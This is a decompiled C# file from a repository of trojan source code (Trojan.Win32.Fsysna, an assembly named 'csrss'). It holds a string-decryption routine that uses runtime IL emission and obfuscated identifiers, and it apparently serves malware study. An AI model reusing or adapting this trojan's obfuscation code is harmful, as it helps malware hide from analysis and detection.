MalwareSourceCode/MSIL/Trojan/Win32/F/Trojan.Win32.Fsysna.ujb-dca840b3862ed520a86af06748a84aa60d663bef2c7875759235eb95d0228c91/_0001/_0004.cs

52 lines
1.8 KiB
C#
Raw Normal View History

2022-08-18 11:28:56 +00:00
// Decompiled with JetBrains decompiler
// Type: .
// Assembly: csrss, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 57F4D4CE-643E-4C92-9C47-86B837B59593
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.Win32.Fsysna.ujb-dca840b3862ed520a86af06748a84aa60d663bef2c7875759235eb95d0228c91.exe
using System;
using System.Reflection;
using System.Reflection.Emit;
using System.Runtime.InteropServices;
namespace \u0001
{
internal static class \u0004
{
public static void \u0002([In] Type obj0)
{
foreach (FieldInfo field in obj0.GetFields(BindingFlags.Static | BindingFlags.NonPublic | BindingFlags.GetField))
{
try
{
if ((object) field.FieldType == (object) typeof (\u0001.\u0002))
{
DynamicMethod dynamicMethod = new DynamicMethod(string.Empty, typeof (string), new Type[1]
{
typeof (int)
}, obj0, true);
ILGenerator ilGenerator = dynamicMethod.GetILGenerator();
ilGenerator.Emit(OpCodes.Ldarg_0);
foreach (MethodInfo method in typeof (\u0002.\u0002).GetMethods(BindingFlags.Static | BindingFlags.Public))
{
if ((object) method.ReturnType == (object) typeof (string))
{
ilGenerator.Emit(OpCodes.Ldc_I4, field.MetadataToken & 16777215);
ilGenerator.Emit(OpCodes.Sub);
ilGenerator.Emit(OpCodes.Call, method);
break;
}
}
ilGenerator.Emit(OpCodes.Ret);
field.SetValue((object) null, (object) dynamicMethod.CreateDelegate(typeof (\u0001.\u0002)));
break;
}
}
catch
{
}
}
}
}
}